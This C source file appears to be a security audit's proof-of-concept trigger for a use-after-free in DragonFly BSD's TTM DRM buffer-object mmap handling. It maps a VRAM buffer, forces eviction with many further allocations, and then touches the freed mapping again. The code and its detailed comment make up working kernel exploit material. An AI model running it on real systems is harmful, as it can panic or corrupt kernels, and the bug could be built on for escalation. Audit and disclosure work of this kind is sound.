/*
 * DF-4587 — ttm_bo_release_mmap() drops an unbalanced vm_object reference on
 * every BO revocation (move/evict/swapout/dpm), terminating the BO's
 * OBJT_MGTDEVICE vm_object while the user mapping still references it.
 *
 * Trigger (needs radeon- or amdgpu-backed /dev/dri/cardX — the only drivers
 * that set dev->drm_ttm_bdev on DragonFly):
 *
 *   1. create a 64 MiB dumb BO (lands in VRAM)
 *   2. MAP_DUMB -> fake offset, mmap() it, fault a page
 *        -> ttm_bo_mmap_single -> cdev_pager_allocate:
 *           the pager object's ONLY reference is the one handed to
 *           vm_map_find (device_pager.c:136-164, vm_map.c:1614-1615).
 *   3. create many more large dumb BOs until VRAM pressure evicts the
 *      mapped BO (VRAM->GTT move)
 *        -> ttm_bo_handle_move_mem (ttm_bo.c:318-325)
 *        -> ttm_bo_unmap_virtual_locked -> ttm_bo_release_mmap
 *        -> vm_object_deallocate(vm_obj) with ref_count == 1
 *        -> vm_object_terminate -> dev_pager_dealloc -> ttm_bo_vm_dtor
 *           -> ttm_bo_unref(&bo)  ... BO kref dropped early,
 *              vm_object freed under the LIVE map entry.
 *   4. touch the mapping again -> vm_fault on the freed vm_object (UAF)
 *      (or munmap -> vm_object_deallocate on freed memory)
 *
 * On the audit QEMU guest (bochs VGA, no DRM device) this stops at open().
 *
 * Build:  cc -O2 -Wall -Wextra -o df4587 df4587.c
 * Run:    ./df4587 /dev/dri/card0
 */
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* ---- minimal DragonFly drm UAPI (sys/dev/drm/include/uapi/drm/) ---- */
struct drm_version {
	uint64_t name_len;  char *name;
	uint64_t date_len;  char *date;
	uint64_t desc_len;  char *desc;
	int32_t  version_major, version_minor, version_patchlevel;
};
#define DRM_IOCTL_BASE	  'd'
#define DRM_IOWR(nr, type) _IOWR(DRM_IOCTL_BASE, nr, type)
struct drm_mode_create_dumb {
	uint32_t height, width, bpp, flags;
	uint32_t handle, pitch;
	uint64_t size;
};
struct drm_mode_map_dumb {
	uint32_t handle, pad;
	uint64_t offset;
};
struct drm_mode_destroy_dumb { uint32_t handle; };
#define DRM_IOCTL_VERSION		  DRM_IOWR(0x00, struct drm_version)
#define DRM_IOCTL_MODE_CREATE_DUMB  DRM_IOWR(0xB2, struct drm_mode_create_dumb)
#define DRM_IOCTL_MODE_MAP_DUMB	  DRM_IOWR(0xB3, struct drm_mode_map_dumb)
#define DRM_IOCTL_MODE_DESTROY_DUMB DRM_IOWR(0xB4, struct drm_mode_destroy_dumb)

#define PAGE_SZ 4096UL

static int create_dumb(int fd, uint64_t sz, uint32_t *handle)
{
	struct drm_mode_create_dumb c;
	int r;

	memset(&c, 0, sizeof(c));
	c.bpp = 32;
	c.width = 64;
	c.height = (uint32_t)(sz / (64 * 4));
	if (c.height == 0)
		c.height = 1;
	r = ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &c);
	if (r == 0)
		*handle = c.handle;
	return r;
}

int main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
	struct drm_mode_map_dumb md;
	struct drm_version v;
	unsigned char *p;
	uint32_t h;
	uint64_t off;
	int fd, i;

	fd = open(dev, O_RDWR | O_CLOEXEC);
	if (fd < 0) {
		printf("GATE: open(%s) failed: %s (no DRM device — "
		       "TTM path absent on this guest)\n", dev, strerror(errno));
		return 2;
	}
	memset(&v, 0, sizeof(v));
	if (ioctl(fd, DRM_IOCTL_VERSION, &v) == 0)
		printf("drm fd open, version %d.%d (need radeon/amdgpu for TTM)\n",
		       v.version_major, v.version_minor);

	/* 1. victim BO in VRAM */
	if (create_dumb(fd, 64ULL << 20, &h) != 0) {
		printf("create_dumb victim: %s\n", strerror(errno));
		return 1;
	}
	/* 2. map + fault */
	memset(&md, 0, sizeof(md));
	md.handle = h;
	if (ioctl(fd, DRM_IOCTL_MODE_MAP_DUMB, &md) != 0) {
		printf("map_dumb: %s\n", strerror(errno));
		return 1;
	}
	off = md.offset;
	p = mmap(NULL, 64ULL << 20, PROT_READ | PROT_WRITE, MAP_SHARED,
		 fd, off);
	if (p == MAP_FAILED) {
		printf("mmap: %s\n", strerror(errno));
		return 1;
	}
	p[0] = 0x41;
	printf("victim BO mapped at %p, first fault done (object ref == 1, "
	       "held by this map entry)\n", (void *)p);

	/*
	 * 3. VRAM pressure: evict the mapped BO (VRAM -> GTT move runs
	 *    ttm_bo_release_mmap -> unbalanced vm_object_deallocate ->
	 *    premature vm_object_terminate under our live mapping).
	 */
	for (i = 0; i < 96; i++) {
		uint32_t j;
		if (create_dumb(fd, 64ULL << 20, &j) != 0)
			break;
		if (i % 8 == 0)
			printf("pressure BO %d\n", i);
	}
	printf("pressure done (%d BOs); mapped BO has been moved/evicted\n", i);

	/*
	 * 4. re-touch: on radeon/amdgpu hardware this re-faults through the
	 *    FREED vm_object (or destroys it in munmap) — the UAF.
	 */
	p[0] = 0x42;
	p[PAGE_SZ] = 0x43;
	printf("retouch done: %d %d (on TTM hardware expect panic/UAF here)\n",
	       p[0], p[PAGE_SZ]);
	if (munmap(p, 64ULL << 20) != 0)
		printf("munmap: %s\n", strerror(errno));
	else
		printf("munmap done (on TTM hardware: deallocate of freed "
		       "object)\n");
	close(fd);
	printf("SURVIVED (no TTM hardware engaged — see VERDICT.md)\n");
	return 0;
}
